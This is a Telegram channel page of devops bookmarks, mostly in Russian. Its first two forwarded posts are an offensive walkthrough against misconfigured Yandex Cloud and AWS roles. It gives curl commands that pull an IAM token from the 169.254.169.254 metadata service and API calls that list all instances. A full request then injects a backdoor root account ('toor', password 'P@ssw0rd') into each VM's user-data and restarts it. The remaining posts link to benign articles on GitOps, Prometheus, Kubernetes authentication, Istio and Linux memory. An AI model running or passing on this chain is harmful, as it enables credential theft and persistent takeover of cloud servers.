rxd_txd
311 subscribers
486 photos
26 videos
22 files
2.72K links
[
{
"channel":"rxd_txd",
"info":"my bookmarks",
"feedback":"@flsixtyfour",
"topics":[
"devops",
"linux",
"sci",
"music",
"go",
"/dev/null"
]
}
]
Download Telegram
Forwarded from Кавычка (Bo0oM)
Так как Яндекс.Облако решает одну из таких задач, как импортозамещение, многие инструменты от AWS подойдут для использования в этом продукте, так как у них присутствуют одинаковые вызовы API.

Облака это не обычные виртуалки, но не все этого понимают. В AWS есть такая херь, под названием IAM (AWS Identity and Access Management), она создана для контроля доступа к сервисам Амазона. IAM позволяет не раздавать привилегии налево и направо, а запросить доступ на время. Самое смешное, что подобная технология, которая создана для защиты, чаще всего неправильно настроена и позволяет любому, кто находится на сервере запросить подобный доступ. Делается это как с помощью SSRF атак, так и после компрометации одной из машин.

Например, ручка, которая позволяет получить токен доступа для CLI API:

curl http://169.254.169.254/latest/meta-data/iam/security-credentials/default

Точно такой же запрос можно выполнить в Яндекс Облаке, если неправильно настроена роль. Когда создаешь виртуальную машину в ней нет сервис аккаунта. Но вот если решишь его привязать, то тебе предложат создать сразу с ролью editor. Это «примитивная» роль с правами создавать/обновлять/удалять виртуалки. Если в ответе будет что-то такое:


{“Code":"Success","Token":"t1.H1shIqVmYuKys2Nz86Mj5LLzc-Lku3rnpWai5uKzc7OksrLlcuRnpudlovl8_dtHGl4-e8FIxs3_N3z9y1LZnj57wUjGzf8.qMl7rNwY8ztuhHWsWc1DhY6hFb3p7tp56TUYO2A1PVFs-Sjwnsohf-w0UfedZbuEt6sC0TljNya_29Ncsu2n","Expiration":"2022-02-01T01:52:18+00:00"}


То скорее всего это шанс на победу. А ручка

curl http://169.254.169.254/latest/user-data

Вернет информацию о пользователе облака, чей токен нам сейчас показали. Смотрим на логин, открытый ключ и другие настройки.

И сейчас легким движением руки мы захватим все образы на примере Яндекс Облака. Следите за пальцами.
Forwarded from Кавычка (Bo0oM)
Берем известный нам IAM_TOKEN. Получаем почту и id пользователя:
curl -H "Authorization: Bearer {IAM_TOKEN}" "https://iam.api.cloud.yandex.net/iam/v1/yandexPassportUserAccounts:byLogin?login={LOGIN}"

Получаем идентификатор инстанса:
curl -H Metadata-Flavor:Google 169.254.169.254/computeMetadata/v1/instance/id

Забираем информацию о текущем инстансе, нас интересует folderId:
curl -H "Authorization: Bearer {IAM_TOKEN}" "https://compute.api.cloud.yandex.net/compute/v1/instances/{instanceID}"

С помощью folderId получаем список всех виртуальных машин в облаке:
curl -H "Authorization: Bearer {IAM_TOKEN}" "https://compute.api.cloud.yandex.net/compute/v1/instances?folderId={folderId}"

В ответе будет список всех виртуальных машин, их имена, описание, дата создания, instanceId всех тачек.


А теперь самое интересное, получаем всю метадату для каждого инстанса:

curl -H "Authorization: Bearer {IAM_TOKEN}" "https://compute.api.cloud.yandex.net/compute/v1/instances/{instanceID}?view=FULL"

Делаем резервную копию yaml-файла. В поле "user-data" добавляем бэкдор в виде привилегированного пользователя toor:

\n - echo toor:P@ssw0rd:0:0:root:\/root:\/bin\/bash >> \/etc\/passwd\n

Пушим изменения:

POST /compute/v1/instances/epd48d7l217cs3eqgb1b/updateMetadata HTTP/2
Host: compute.api.cloud.yandex.net
authorization: Bearer {IAM_TOKEN}
content-length: 1337
content-type: application/x-www-form-urlencoded

{
"upsert": {
"serial-port-enable": "1",
...
"user-data": "#cloud-config\ndatasource:\n Ec2:\n strict_id: false\nssh_pwauth: no\nbootcmd:\n - echo toor:P@ssw0rd:0:0:root:\/root:\/bin\/bash >> \/etc\/passwd\nusers:\n- name: bankprod\n sudo: ALL=(ALL) NOPASSWD:ALL\n shell: /bin/bash\n ssh-authorized-keys:\n - ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIEs7/GMUMCm6ncksXdcYf1+XSPkdVXvNdlUJZiJkGHBa bankprod@develop"
}
}


И делаем рестарт:


POST /compute/v1/instances/{instanceId}:restart HTTP/2
Host: compute.api.cloud.yandex.net
authorization: Bearer {IAM_TOKEN}
content-length: 37
content-type: application/x-www-form-urlencoded

{"instanceId":"{instanceId}"}



Поздравляю. У вас десятки, а может и сотни виртуальных машин с пользователем root благодаря одной уязвимости, если компания не осилила настройку облаков.
🛠 A Hello World GitOps Example Walkthrough - пример организации GitOps подхода. Пошагово, со схемой и примерами конфигов. Полезным, пожалуй, будет для тех, кто хочет GitOps попробовать, но в длинные мануалы пока что вчитываться не готов.

#gitops #напочитать
Forwarded from Мониторим ИТ
Онлайн-сервис для проверки релейбелинга в Prometheus.

https://relabeler.promlabs.com/
Forwarded from k8s (in)security (Дмитрий Евдокимов)
Мощный лонгрид "User and workload identities in Kubernetes" посвящённый AuthN (на самом деле это 4 статья из цикла). Помимо более-менее очевидных моментов что кочуют из статьи в статью про аутентификацию в Kubernetes - типа: внутренние и внешние субъекты, различные стратегии аутентификации (static token, bearer token, X509 certificate, OIDC и т.д.), назначение и роль Service Accounts и подобное.

В данной статье есть очень классный момент про работу Service Accounts и Secret до версии 1.24 и начиная с нее. Если вы об этом не знали, то тут появляется значительное отличие по работе. Если раньше при создании Service Accounts для него Secret с token создавался автоматически, то теперь этого не происходит (но можно вернуть прежнее поведении через специальную annotations - читайте в этой же статье). С версии 1.24 желаемый token монтируется в Pod автоматически как projected volume и имеет срок действия (чего не было раньше)!
Forwarded from DevSecOps Talks
Istio Handbook

Всем привет!

Очень неплохой материал, посвященный Istio – статьей его язык не поворачивается назвать, т.к. материала очень много, но это и не полноценная книга.

В материале содержится информация о:
🍭 What Does Istio Do?
🍭 Introduction to Istio
🍭 Istio’s Architecture
🍭 How to Use Istio in Practice
🍭 How to Run the Services on the Mesh
🍭 Ingress Gateway – How to Admit Traffic into the Mesh
🍭 Observability
🍭 Traffic Management – Canary Deployments
🍭 Istio Security

Много схем, примеров, кусков кода и пояснений по каждому из вышерассмотренных блоков.
Самое то для ознакомления с технологией и до вдумчивого чтения официальной документации.
Forwarded from /usr/bin
Memory Management in Linux

Управление памятью в Linux состоит из двух основных компонентов:

а). Первый касается совместного использования и освобождения блоков физической памяти, групп страниц и небольших блоков памяти.

б). Второй обрабатывает виртуальную память, отображаемую в памяти в адресное пространство активных процессов.

Читать дальше.